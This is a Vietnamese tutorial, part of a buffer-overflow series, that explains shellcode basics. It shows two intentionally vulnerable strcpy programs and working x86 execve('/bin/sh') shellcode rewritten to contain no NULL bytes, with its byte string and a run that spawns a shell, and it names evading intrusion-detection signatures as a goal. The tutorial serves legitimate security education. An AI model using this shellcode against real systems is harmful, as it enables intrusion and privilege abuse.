Lỗi tràn bộ đệm [8]: căn bản về shellcodes
Ta đã biết sơ cách viết shellcode, một đoạn mã máy làm việc gì đó như in ra “Hello World” hoặc khởi động một shell. Bây giờ, giả dụ ta có một chương trình bị tràn bộ đệm (thường được gọi là chương trình có nhược điểm, hay vulnerable code), làm thế nào để “bắt” chương trình này chạy shellcode? Có khá nhiều vấn đề thú vị cần giải quyết. Bốn vấn đề chính là:
- Vấn đề NULL-byte: vulnerable code đọc dữ liệu vào buffer của nó mà không kiểm tra kích thước, vì thế bị tràn bộ đệm. Ví dụ như chương trình sau đây
/* * vuln_lb.c : This is a vulnerable program with a large buffer */ #include <stdio.h> int main(int argc, char **argv) { char buffer[500]; if (argv[1] != NULL) { strcpy(buffer, argv[1]); } return 0; }Hàm
strcpysẽ copy cho đến khi nó thấy NULL-byte, đánh dấu hết chuỗi nhập, thì nó dừng. Nhưng nhỡ khi shellcode của ta có NULL-byte trong đó thì sao? Shellcode sẽ bị ngắt đoạn giữa chừng. Cái shellcode chứa mã máy, hoàn toàn có khả năng có NULL-byte trong đó. Vì thế, vấn đề đầu tiên ta phải giải quyết là tìm cách viết shellcode không có byte nào bằng0. - Để shellcode ở chỗ nào? Trong trường hợp như trên thì buffer bị tràn có 500 bytes, đủ để ta đặt một shellcode nho nhỏ vào. Nhưng có các chương trình mà buffer chỉ có vài bytes, ví dụ như chương trình sau
/* * vuln_sb.c : This is a vulnerable program with a short buffer */ #include <stdio.h> int main(int argc, char **argv) { char buffer[5]; if (argv[1] != NULL) { strcpy(buffer, argv[1]); } return 0; }chỉ có 5 bytes, không đủ để đặt shellcode. Làm thế nào để tận dụng các vulnerable program với buffer nhỏ thế này?
- Tránh signature detection. Rất nhiều các Intrusion Detection Systems dò dữ liệu nhập để tìm signature của các shellcodes phổ biến, và báo cáo cho hệ thống biết. Làm thế nào để viết shellcode hiện thực một tác vụ phổ biến (gọi một shell) mà signature của shellcode không bị dò ra?
- Stack không execute được (non-executable stack). Nhiều phiên bản mới của các hệ điều hành không cho chạy mã trên stack (ví dụ như OpenBSD và FreeBSD). Với các hệ điều hành này ta không thể đặt shellcode vào buffer bị tràn. Phải tìm chỗ khác (hoặc cách khác) để exploit các chương trình chạy trên các hệ điều hành này.
Lần này ta giải quyết vấn đề dễ nhất: vấn đề NULL-byte. Lần trước ta đã có ví dụ shellcode sau
;; ;; shellcode without using data segment ;; USE32 jmp short two one: pop ebx ; ebx is where name[0] is supposed to go mov eax, 0 ; put 0 into eax mov [ebx+7], al ; replace X at the end by 0, now it's null-terminated lea ecx, [ebx+8] ; ecx is where name is supposed to go mov [ecx], ebx ; replace nam0 by pointer to the path string mov [ecx+4], eax ; replace nam1 by 0x00000000 (NULL) xor edx, edx ; edx contains NULL too mov eax, 11 ; 11 is the system call number of execve int 0x80 ; finally, invoke the system call two: call one db '/bin/shXnam0nam1'
Sau khi kiểm tra mã máy (dùng bct), dễ thấy rằng NULL-byte là do lệnh move eax, 0 (4 bytes bằng 0) và mov eax, 11 (3 bytes đầu của 11 bằng 0). Dễ dùng assembly để giải quyết vấn đề này:
;; ;; shellcode without NULL byte ;; USE32 jmp short two one: pop ebx ; ebx is where name[0] is supposed to go xor eax, eax ; put 0 into eax mov [ebx+7], al ; replace X at the end by 0, now it's null-terminated lea ecx, [ebx+8] ; ecx is where name is supposed to go mov [ecx], ebx ; replace ---- by pointer to the path string mov [ecx+4], eax ; replace ++++ by 0x00000000 (NULL) xor edx, edx ; edx contains NULL too mov al, 11 ; 11 is the system call number of execve int 0x80 ; finally, invoke the system call two: call one db '/bin/shX----++++'
Bây giờ ta thử lại
[NQH] hanoi:~/BO$ bct -p ex10 ---------------------- Printing your code ... ---------------------- char bytecode[] = "\xeb\x14\x5b\x31\xc0\x88\x43\x07\x8d\x4b\x08\x89\x19\x89\x41\x04" "\x31\xd2\xb0\x0b\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f" "\x73\x68\x58\x2d\x2d\x2d\x2d\x2b\x2b\x2b\x2b"; [NQH] hanoi:~/BO$ bct ex10 ---------------------- Calling your code ... ---------------------- sh-2.05b$ exit exit
và thấy rằng shellcode của ta không có byte 0 nào nữa! Chú ý cách dùng thanh ghi 8-bit al (byte cuối của eax) để chép 11 vào eax.
Bài tập 2: viết lại chương trình “Hello World” sao cho bytecode không có NULL-byte.
Bài tập 3: viết một bytecode làm các công việc sau (mà không có NULL byte):
- Mở file tên là “your-name.txt”
- Viết chuỗi “Gotcha! Gotcha! Gotcha!”, trong đó thay hai khoảng trắng bằng các NULL bytes.
- Đóng file và exit.
Lần tới ta sẽ nói đến vài chỗ để shellcode và vài cách exploit các chương trình bị lỗi địa phương (local program, nghĩa là không phải exploit qua mạng).
